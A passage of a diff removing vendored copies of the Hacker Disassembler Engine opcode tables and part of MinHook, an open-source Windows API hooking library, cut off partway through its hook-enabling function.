#define C_IMM_P66 0x10
|
|
||||||
#define C_REL8 0x20
|
|
||||||
#define C_REL32 0x40
|
|
||||||
#define C_GROUP 0x80
|
|
||||||
#define C_ERROR 0xff
|
|
||||||
|
|
||||||
#define PRE_ANY 0x00
|
|
||||||
#define PRE_NONE 0x01
|
|
||||||
#define PRE_F2 0x02
|
|
||||||
#define PRE_F3 0x04
|
|
||||||
#define PRE_66 0x08
|
|
||||||
#define PRE_67 0x10
|
|
||||||
#define PRE_LOCK 0x20
|
|
||||||
#define PRE_SEG 0x40
|
|
||||||
#define PRE_ALL 0xff
|
|
||||||
|
|
||||||
#define DELTA_OPCODES 0x4a
|
|
||||||
#define DELTA_FPU_REG 0xf1
|
|
||||||
#define DELTA_FPU_MODRM 0xf8
|
|
||||||
#define DELTA_PREFIXES 0x130
|
|
||||||
#define DELTA_OP_LOCK_OK 0x1a1
|
|
||||||
#define DELTA_OP2_LOCK_OK 0x1b9
|
|
||||||
#define DELTA_OP_ONLY_MEM 0x1cb
|
|
||||||
#define DELTA_OP2_ONLY_MEM 0x1da
|
|
||||||
|
|
||||||
unsigned char hde32_table[] = {
|
|
||||||
0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,0xa8,0xa3,
|
|
||||||
0xa8,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xaa,0xac,0xaa,0xb2,0xaa,0x9f,0x9f,
|
|
||||||
0x9f,0x9f,0xb5,0xa3,0xa3,0xa4,0xaa,0xaa,0xba,0xaa,0x96,0xaa,0xa8,0xaa,0xc3,
|
|
||||||
0xc3,0x96,0x96,0xb7,0xae,0xd6,0xbd,0xa3,0xc5,0xa3,0xa3,0x9f,0xc3,0x9c,0xaa,
|
|
||||||
0xaa,0xac,0xaa,0xbf,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0x90,
|
|
||||||
0x82,0x7d,0x97,0x59,0x59,0x59,0x59,0x59,0x7f,0x59,0x59,0x60,0x7d,0x7f,0x7f,
|
|
||||||
0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x9a,0x88,0x7d,
|
|
||||||
0x59,0x50,0x50,0x50,0x50,0x59,0x59,0x59,0x59,0x61,0x94,0x61,0x9e,0x59,0x59,
|
|
||||||
0x85,0x59,0x92,0xa3,0x60,0x60,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,0x59,
|
|
||||||
0x59,0x59,0x9f,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xcc,0x01,0xbc,0x03,0xf0,
|
|
||||||
0x10,0x10,0x10,0x10,0x50,0x50,0x50,0x50,0x14,0x20,0x20,0x20,0x20,0x01,0x01,
|
|
||||||
0x01,0x01,0xc4,0x02,0x10,0x00,0x00,0x00,0x00,0x01,0x01,0xc0,0xc2,0x10,0x11,
|
|
||||||
0x02,0x03,0x11,0x03,0x03,0x04,0x00,0x00,0x14,0x00,0x02,0x00,0x00,0xc6,0xc8,
|
|
||||||
0x02,0x02,0x02,0x02,0x00,0x00,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0xca,
|
|
||||||
0x01,0x01,0x01,0x00,0x06,0x00,0x04,0x00,0xc0,0xc2,0x01,0x01,0x03,0x01,0xff,
|
|
||||||
0xff,0x01,0x00,0x03,0xc4,0xc4,0xc6,0x03,0x01,0x01,0x01,0xff,0x03,0x03,0x03,
|
|
||||||
0xc8,0x40,0x00,0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,
|
|
||||||
0x00,0x00,0x00,0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,
|
|
||||||
0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
||||||
0x00,0xff,0xff,0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
|
|
||||||
0x7f,0x00,0x00,0xff,0x4a,0x4a,0x4a,0x4a,0x4b,0x52,0x4a,0x4a,0x4a,0x4a,0x4f,
|
|
||||||
0x4c,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x55,0x45,0x40,0x4a,0x4a,0x4a,
|
|
||||||
0x45,0x59,0x4d,0x46,0x4a,0x5d,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,0x4a,
|
|
||||||
0x4a,0x4a,0x4a,0x4a,0x4a,0x61,0x63,0x67,0x4e,0x4a,0x4a,0x6b,0x6d,0x4a,0x4a,
|
|
||||||
0x45,0x6d,0x4a,0x4a,0x44,0x45,0x4a,0x4a,0x00,0x00,0x00,0x02,0x0d,0x06,0x06,
|
|
||||||
0x06,0x06,0x0e,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x00,0x06,0x06,0x02,0x06,
|
|
||||||
0x00,0x0a,0x0a,0x07,0x07,0x06,0x02,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
|
|
||||||
0x04,0x04,0x00,0x00,0x00,0x0e,0x05,0x06,0x06,0x06,0x01,0x06,0x00,0x00,0x08,
|
|
||||||
0x00,0x10,0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,
|
|
||||||
0x86,0x00,0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,
|
|
||||||
0xf8,0xbb,0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,
|
|
||||||
0xc4,0xff,0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,
|
|
||||||
0x13,0x09,0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,
|
|
||||||
0xb2,0xff,0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,
|
|
||||||
0xe7,0x08,0x00,0xf0,0x02,0x00
|
|
||||||
};
|
|
||||||
@@ -1,74 +0,0 @@
|
|||||||
/*
|
|
||||||
* Hacker Disassembler Engine 64 C
|
|
||||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
#define C_NONE 0x00
|
|
||||||
#define C_MODRM 0x01
|
|
||||||
#define C_IMM8 0x02
|
|
||||||
#define C_IMM16 0x04
|
|
||||||
#define C_IMM_P66 0x10
|
|
||||||
#define C_REL8 0x20
|
|
||||||
#define C_REL32 0x40
|
|
||||||
#define C_GROUP 0x80
|
|
||||||
#define C_ERROR 0xff
|
|
||||||
|
|
||||||
#define PRE_ANY 0x00
|
|
||||||
#define PRE_NONE 0x01
|
|
||||||
#define PRE_F2 0x02
|
|
||||||
#define PRE_F3 0x04
|
|
||||||
#define PRE_66 0x08
|
|
||||||
#define PRE_67 0x10
|
|
||||||
#define PRE_LOCK 0x20
|
|
||||||
#define PRE_SEG 0x40
|
|
||||||
#define PRE_ALL 0xff
|
|
||||||
|
|
||||||
#define DELTA_OPCODES 0x4a
|
|
||||||
#define DELTA_FPU_REG 0xfd
|
|
||||||
#define DELTA_FPU_MODRM 0x104
|
|
||||||
#define DELTA_PREFIXES 0x13c
|
|
||||||
#define DELTA_OP_LOCK_OK 0x1ae
|
|
||||||
#define DELTA_OP2_LOCK_OK 0x1c6
|
|
||||||
#define DELTA_OP_ONLY_MEM 0x1d8
|
|
||||||
#define DELTA_OP2_ONLY_MEM 0x1e7
|
|
||||||
|
|
||||||
unsigned char hde64_table[] = {
|
|
||||||
0xa5,0xaa,0xa5,0xb8,0xa5,0xaa,0xa5,0xaa,0xa5,0xb8,0xa5,0xb8,0xa5,0xb8,0xa5,
|
|
||||||
0xb8,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xac,0xc0,0xcc,0xc0,0xa1,0xa1,
|
|
||||||
0xa1,0xa1,0xb1,0xa5,0xa5,0xa6,0xc0,0xc0,0xd7,0xda,0xe0,0xc0,0xe4,0xc0,0xea,
|
|
||||||
0xea,0xe0,0xe0,0x98,0xc8,0xee,0xf1,0xa5,0xd3,0xa5,0xa5,0xa1,0xea,0x9e,0xc0,
|
|
||||||
0xc0,0xc2,0xc0,0xe6,0x03,0x7f,0x11,0x7f,0x01,0x7f,0x01,0x3f,0x01,0x01,0xab,
|
|
||||||
0x8b,0x90,0x64,0x5b,0x5b,0x5b,0x5b,0x5b,0x92,0x5b,0x5b,0x76,0x90,0x92,0x92,
|
|
||||||
0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x6a,0x73,0x90,
|
|
||||||
0x5b,0x52,0x52,0x52,0x52,0x5b,0x5b,0x5b,0x5b,0x77,0x7c,0x77,0x85,0x5b,0x5b,
|
|
||||||
0x70,0x5b,0x7a,0xaf,0x76,0x76,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,0x5b,
|
|
||||||
0x5b,0x5b,0x86,0x01,0x03,0x01,0x04,0x03,0xd5,0x03,0xd5,0x03,0xcc,0x01,0xbc,
|
|
||||||
0x03,0xf0,0x03,0x03,0x04,0x00,0x50,0x50,0x50,0x50,0xff,0x20,0x20,0x20,0x20,
|
|
||||||
0x01,0x01,0x01,0x01,0xc4,0x02,0x10,0xff,0xff,0xff,0x01,0x00,0x03,0x11,0xff,
|
|
||||||
0x03,0xc4,0xc6,0xc8,0x02,0x10,0x00,0xff,0xcc,0x01,0x01,0x01,0x00,0x00,0x00,
|
|
||||||
0x00,0x01,0x01,0x03,0x01,0xff,0xff,0xc0,0xc2,0x10,0x11,0x02,0x03,0x01,0x01,
|
|
||||||
0x01,0xff,0xff,0xff,0x00,0x00,0x00,0xff,0x00,0x00,0xff,0xff,0xff,0xff,0x10,
|
|
||||||
0x10,0x10,0x10,0x02,0x10,0x00,0x00,0xc6,0xc8,0x02,0x02,0x02,0x02,0x06,0x00,
|
|
||||||
0x04,0x00,0x02,0xff,0x00,0xc0,0xc2,0x01,0x01,0x03,0x03,0x03,0xca,0x40,0x00,
|
|
||||||
0x0a,0x00,0x04,0x00,0x00,0x00,0x00,0x7f,0x00,0x33,0x01,0x00,0x00,0x00,0x00,
|
|
||||||
0x00,0x00,0xff,0xbf,0xff,0xff,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0xff,0x00,
|
|
||||||
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,
|
|
||||||
0x00,0x00,0x00,0xbf,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7f,0x00,0x00,
|
|
||||||
0xff,0x40,0x40,0x40,0x40,0x41,0x49,0x40,0x40,0x40,0x40,0x4c,0x42,0x40,0x40,
|
|
||||||
0x40,0x40,0x40,0x40,0x40,0x40,0x4f,0x44,0x53,0x40,0x40,0x40,0x44,0x57,0x43,
|
|
||||||
0x5c,0x40,0x60,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,0x40,
|
|
||||||
0x40,0x40,0x64,0x66,0x6e,0x6b,0x40,0x40,0x6a,0x46,0x40,0x40,0x44,0x46,0x40,
|
|
||||||
0x40,0x5b,0x44,0x40,0x40,0x00,0x00,0x00,0x00,0x06,0x06,0x06,0x06,0x01,0x06,
|
|
||||||
0x06,0x02,0x06,0x06,0x00,0x06,0x00,0x0a,0x0a,0x00,0x00,0x00,0x02,0x07,0x07,
|
|
||||||
0x06,0x02,0x0d,0x06,0x06,0x06,0x0e,0x05,0x05,0x02,0x02,0x00,0x00,0x04,0x04,
|
|
||||||
0x04,0x04,0x05,0x06,0x06,0x06,0x00,0x00,0x00,0x0e,0x00,0x00,0x08,0x00,0x10,
|
|
||||||
0x00,0x18,0x00,0x20,0x00,0x28,0x00,0x30,0x00,0x80,0x01,0x82,0x01,0x86,0x00,
|
|
||||||
0xf6,0xcf,0xfe,0x3f,0xab,0x00,0xb0,0x00,0xb1,0x00,0xb3,0x00,0xba,0xf8,0xbb,
|
|
||||||
0x00,0xc0,0x00,0xc1,0x00,0xc7,0xbf,0x62,0xff,0x00,0x8d,0xff,0x00,0xc4,0xff,
|
|
||||||
0x00,0xc5,0xff,0x00,0xff,0xff,0xeb,0x01,0xff,0x0e,0x12,0x08,0x00,0x13,0x09,
|
|
||||||
0x00,0x16,0x08,0x00,0x17,0x09,0x00,0x2b,0x09,0x00,0xae,0xff,0x07,0xb2,0xff,
|
|
||||||
0x00,0xb4,0xff,0x00,0xb5,0xff,0x00,0xc3,0x01,0x00,0xc7,0xff,0xbf,0xe7,0x08,
|
|
||||||
0x00,0xf0,0x02,0x00
|
|
||||||
};
|
|
||||||
@@ -1,939 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
|
|
||||||
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
|
|
||||||
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
|
|
||||||
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
|
|
||||||
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
|
||||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
|
|
||||||
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
|
|
||||||
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
|
|
||||||
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
|
|
||||||
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
|
||||||
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
#include <tlhelp32.h>
|
|
||||||
#include <limits.h>
|
|
||||||
|
|
||||||
#include "../include/MinHook.h"
|
|
||||||
#include "buffer.h"
|
|
||||||
#include "trampoline.h"
|
|
||||||
|
|
||||||
#ifndef ARRAYSIZE
|
|
||||||
#define ARRAYSIZE(A) (sizeof(A)/sizeof((A)[0]))
|
|
||||||
#endif
|
|
||||||
|
|
||||||
// Initial capacity of the HOOK_ENTRY buffer.
|
|
||||||
#define INITIAL_HOOK_CAPACITY 32
|
|
||||||
|
|
||||||
// Initial capacity of the thread IDs buffer.
|
|
||||||
#define INITIAL_THREAD_CAPACITY 128
|
|
||||||
|
|
||||||
// Special hook position values.
|
|
||||||
#define INVALID_HOOK_POS UINT_MAX
|
|
||||||
#define ALL_HOOKS_POS UINT_MAX
|
|
||||||
|
|
||||||
// Freeze() action argument defines.
|
|
||||||
#define ACTION_DISABLE 0
|
|
||||||
#define ACTION_ENABLE 1
|
|
||||||
#define ACTION_APPLY_QUEUED 2
|
|
||||||
|
|
||||||
// Thread access rights for suspending/resuming threads.
|
|
||||||
#define THREAD_ACCESS \
|
|
||||||
(THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_QUERY_INFORMATION | THREAD_SET_CONTEXT)
|
|
||||||
|
|
||||||
// Hook information.
|
|
||||||
typedef struct _HOOK_ENTRY
|
|
||||||
{
|
|
||||||
LPVOID pTarget; // Address of the target function.
|
|
||||||
LPVOID pDetour; // Address of the detour or relay function.
|
|
||||||
LPVOID pTrampoline; // Address of the trampoline function.
|
|
||||||
UINT8 backup[8]; // Original prologue of the target function.
|
|
||||||
|
|
||||||
UINT8 patchAbove : 1; // Uses the hot patch area.
|
|
||||||
UINT8 isEnabled : 1; // Enabled.
|
|
||||||
UINT8 queueEnable : 1; // Queued for enabling/disabling when != isEnabled.
|
|
||||||
|
|
||||||
UINT nIP : 4; // Count of the instruction boundaries.
|
|
||||||
UINT8 oldIPs[8]; // Instruction boundaries of the target function.
|
|
||||||
UINT8 newIPs[8]; // Instruction boundaries of the trampoline function.
|
|
||||||
} HOOK_ENTRY, *PHOOK_ENTRY;
|
|
||||||
|
|
||||||
// Suspended threads for Freeze()/Unfreeze().
|
|
||||||
typedef struct _FROZEN_THREADS
|
|
||||||
{
|
|
||||||
LPDWORD pItems; // Data heap
|
|
||||||
UINT capacity; // Size of allocated data heap, items
|
|
||||||
UINT size; // Actual number of data items
|
|
||||||
} FROZEN_THREADS, *PFROZEN_THREADS;
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
// Global Variables:
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
|
|
||||||
// Spin lock flag for EnterSpinLock()/LeaveSpinLock().
|
|
||||||
static volatile LONG g_isLocked = FALSE;
|
|
||||||
|
|
||||||
// Private heap handle. If not NULL, this library is initialized.
|
|
||||||
static HANDLE g_hHeap = NULL;
|
|
||||||
|
|
||||||
// Hook entries.
|
|
||||||
static struct
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY pItems; // Data heap
|
|
||||||
UINT capacity; // Size of allocated data heap, items
|
|
||||||
UINT size; // Actual number of data items
|
|
||||||
} g_hooks;
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
// Returns INVALID_HOOK_POS if not found.
|
|
||||||
static UINT FindHookEntry(LPVOID pTarget)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
for (i = 0; i < g_hooks.size; ++i)
|
|
||||||
{
|
|
||||||
if ((ULONG_PTR)pTarget == (ULONG_PTR)g_hooks.pItems[i].pTarget)
|
|
||||||
return i;
|
|
||||||
}
|
|
||||||
|
|
||||||
return INVALID_HOOK_POS;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static PHOOK_ENTRY AddHookEntry()
|
|
||||||
{
|
|
||||||
if (g_hooks.pItems == NULL)
|
|
||||||
{
|
|
||||||
g_hooks.capacity = INITIAL_HOOK_CAPACITY;
|
|
||||||
g_hooks.pItems = (PHOOK_ENTRY)HeapAlloc(
|
|
||||||
g_hHeap, 0, g_hooks.capacity * sizeof(HOOK_ENTRY));
|
|
||||||
if (g_hooks.pItems == NULL)
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
else if (g_hooks.size >= g_hooks.capacity)
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
|
|
||||||
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity * 2) * sizeof(HOOK_ENTRY));
|
|
||||||
if (p == NULL)
|
|
||||||
return NULL;
|
|
||||||
|
|
||||||
g_hooks.capacity *= 2;
|
|
||||||
g_hooks.pItems = p;
|
|
||||||
}
|
|
||||||
|
|
||||||
return &g_hooks.pItems[g_hooks.size++];
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static VOID DeleteHookEntry(UINT pos)
|
|
||||||
{
|
|
||||||
if (pos < g_hooks.size - 1)
|
|
||||||
g_hooks.pItems[pos] = g_hooks.pItems[g_hooks.size - 1];
|
|
||||||
|
|
||||||
g_hooks.size--;
|
|
||||||
|
|
||||||
if (g_hooks.capacity / 2 >= INITIAL_HOOK_CAPACITY && g_hooks.capacity / 2 >= g_hooks.size)
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY p = (PHOOK_ENTRY)HeapReAlloc(
|
|
||||||
g_hHeap, 0, g_hooks.pItems, (g_hooks.capacity / 2) * sizeof(HOOK_ENTRY));
|
|
||||||
if (p == NULL)
|
|
||||||
return;
|
|
||||||
|
|
||||||
g_hooks.capacity /= 2;
|
|
||||||
g_hooks.pItems = p;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static DWORD_PTR FindOldIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
|
|
||||||
if (pHook->patchAbove && ip == ((DWORD_PTR)pHook->pTarget - sizeof(JMP_REL)))
|
|
||||||
return (DWORD_PTR)pHook->pTarget;
|
|
||||||
|
|
||||||
for (i = 0; i < pHook->nIP; ++i)
|
|
||||||
{
|
|
||||||
if (ip == ((DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i]))
|
|
||||||
return (DWORD_PTR)pHook->pTarget + pHook->oldIPs[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
// Check relay function.
|
|
||||||
if (ip == (DWORD_PTR)pHook->pDetour)
|
|
||||||
return (DWORD_PTR)pHook->pTarget;
|
|
||||||
#endif
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static DWORD_PTR FindNewIP(PHOOK_ENTRY pHook, DWORD_PTR ip)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
for (i = 0; i < pHook->nIP; ++i)
|
|
||||||
{
|
|
||||||
if (ip == ((DWORD_PTR)pHook->pTarget + pHook->oldIPs[i]))
|
|
||||||
return (DWORD_PTR)pHook->pTrampoline + pHook->newIPs[i];
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static VOID ProcessThreadIPs(HANDLE hThread, UINT pos, UINT action)
|
|
||||||
{
|
|
||||||
// If the thread suspended in the overwritten area,
|
|
||||||
// move IP to the proper address.
|
|
||||||
|
|
||||||
CONTEXT c;
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
DWORD64 *pIP = &c.Rip;
|
|
||||||
#else
|
|
||||||
DWORD *pIP = &c.Eip;
|
|
||||||
#endif
|
|
||||||
UINT count;
|
|
||||||
|
|
||||||
c.ContextFlags = CONTEXT_CONTROL;
|
|
||||||
if (!GetThreadContext(hThread, &c))
|
|
||||||
return;
|
|
||||||
|
|
||||||
if (pos == ALL_HOOKS_POS)
|
|
||||||
{
|
|
||||||
pos = 0;
|
|
||||||
count = g_hooks.size;
|
|
||||||
}
|
|
||||||
else
|
|
||||||
{
|
|
||||||
count = pos + 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
for (; pos < count; ++pos)
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
|
|
||||||
BOOL enable;
|
|
||||||
DWORD_PTR ip;
|
|
||||||
|
|
||||||
switch (action)
|
|
||||||
{
|
|
||||||
case ACTION_DISABLE:
|
|
||||||
enable = FALSE;
|
|
||||||
break;
|
|
||||||
|
|
||||||
case ACTION_ENABLE:
|
|
||||||
enable = TRUE;
|
|
||||||
break;
|
|
||||||
|
|
||||||
default: // ACTION_APPLY_QUEUED
|
|
||||||
enable = pHook->queueEnable;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
if (pHook->isEnabled == enable)
|
|
||||||
continue;
|
|
||||||
|
|
||||||
if (enable)
|
|
||||||
ip = FindNewIP(pHook, *pIP);
|
|
||||||
else
|
|
||||||
ip = FindOldIP(pHook, *pIP);
|
|
||||||
|
|
||||||
if (ip != 0)
|
|
||||||
{
|
|
||||||
*pIP = ip;
|
|
||||||
SetThreadContext(hThread, &c);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static BOOL EnumerateThreads(PFROZEN_THREADS pThreads)
|
|
||||||
{
|
|
||||||
BOOL succeeded = FALSE;
|
|
||||||
|
|
||||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
|
|
||||||
if (hSnapshot != INVALID_HANDLE_VALUE)
|
|
||||||
{
|
|
||||||
THREADENTRY32 te;
|
|
||||||
te.dwSize = sizeof(THREADENTRY32);
|
|
||||||
if (Thread32First(hSnapshot, &te))
|
|
||||||
{
|
|
||||||
succeeded = TRUE;
|
|
||||||
do
|
|
||||||
{
|
|
||||||
if (te.dwSize >= (FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(DWORD))
|
|
||||||
&& te.th32OwnerProcessID == GetCurrentProcessId()
|
|
||||||
&& te.th32ThreadID != GetCurrentThreadId())
|
|
||||||
{
|
|
||||||
if (pThreads->pItems == NULL)
|
|
||||||
{
|
|
||||||
pThreads->capacity = INITIAL_THREAD_CAPACITY;
|
|
||||||
pThreads->pItems
|
|
||||||
= (LPDWORD)HeapAlloc(g_hHeap, 0, pThreads->capacity * sizeof(DWORD));
|
|
||||||
if (pThreads->pItems == NULL)
|
|
||||||
{
|
|
||||||
succeeded = FALSE;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
else if (pThreads->size >= pThreads->capacity)
|
|
||||||
{
|
|
||||||
LPDWORD p;
|
|
||||||
pThreads->capacity *= 2;
|
|
||||||
p = (LPDWORD)HeapReAlloc(
|
|
||||||
g_hHeap, 0, pThreads->pItems, pThreads->capacity * sizeof(DWORD));
|
|
||||||
if (p == NULL)
|
|
||||||
{
|
|
||||||
succeeded = FALSE;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
pThreads->pItems = p;
|
|
||||||
}
|
|
||||||
pThreads->pItems[pThreads->size++] = te.th32ThreadID;
|
|
||||||
}
|
|
||||||
|
|
||||||
te.dwSize = sizeof(THREADENTRY32);
|
|
||||||
} while (Thread32Next(hSnapshot, &te));
|
|
||||||
|
|
||||||
if (succeeded && GetLastError() != ERROR_NO_MORE_FILES)
|
|
||||||
succeeded = FALSE;
|
|
||||||
|
|
||||||
if (!succeeded && pThreads->pItems != NULL)
|
|
||||||
{
|
|
||||||
HeapFree(g_hHeap, 0, pThreads->pItems);
|
|
||||||
pThreads->pItems = NULL;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
CloseHandle(hSnapshot);
|
|
||||||
}
|
|
||||||
|
|
||||||
return succeeded;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static MH_STATUS Freeze(PFROZEN_THREADS pThreads, UINT pos, UINT action)
|
|
||||||
{
|
|
||||||
MH_STATUS status = MH_OK;
|
|
||||||
|
|
||||||
pThreads->pItems = NULL;
|
|
||||||
pThreads->capacity = 0;
|
|
||||||
pThreads->size = 0;
|
|
||||||
if (!EnumerateThreads(pThreads))
|
|
||||||
{
|
|
||||||
status = MH_ERROR_MEMORY_ALLOC;
|
|
||||||
}
|
|
||||||
else if (pThreads->pItems != NULL)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
for (i = 0; i < pThreads->size; ++i)
|
|
||||||
{
|
|
||||||
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, pThreads->pItems[i]);
|
|
||||||
BOOL suspended = FALSE;
|
|
||||||
if (hThread != NULL)
|
|
||||||
{
|
|
||||||
DWORD result = SuspendThread(hThread);
|
|
||||||
if (result != 0xFFFFFFFF)
|
|
||||||
{
|
|
||||||
suspended = TRUE;
|
|
||||||
ProcessThreadIPs(hThread, pos, action);
|
|
||||||
}
|
|
||||||
CloseHandle(hThread);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (!suspended)
|
|
||||||
{
|
|
||||||
// Mark thread as not suspended, so it's not resumed later on.
|
|
||||||
pThreads->pItems[i] = 0;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return status;
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static VOID Unfreeze(PFROZEN_THREADS pThreads)
|
|
||||||
{
|
|
||||||
if (pThreads->pItems != NULL)
|
|
||||||
{
|
|
||||||
UINT i;
|
|
||||||
for (i = 0; i < pThreads->size; ++i)
|
|
||||||
{
|
|
||||||
DWORD threadId = pThreads->pItems[i];
|
|
||||||
if (threadId != 0)
|
|
||||||
{
|
|
||||||
HANDLE hThread = OpenThread(THREAD_ACCESS, FALSE, threadId);
|
|
||||||
if (hThread != NULL)
|
|
||||||
{
|
|
||||||
ResumeThread(hThread);
|
|
||||||
CloseHandle(hThread);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
HeapFree(g_hHeap, 0, pThreads->pItems);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
//-------------------------------------------------------------------------
|
|
||||||
static MH_STATUS EnableHookLL(UINT pos, BOOL enable)
|
|
||||||
{
|
|
||||||
PHOOK_ENTRY pHook = &g_hooks.pItems[pos];
|
|
||||||
DWORD oldProtect;
|
|
||||||
SIZE_T patchSize = sizeof(JMP_REL);
|
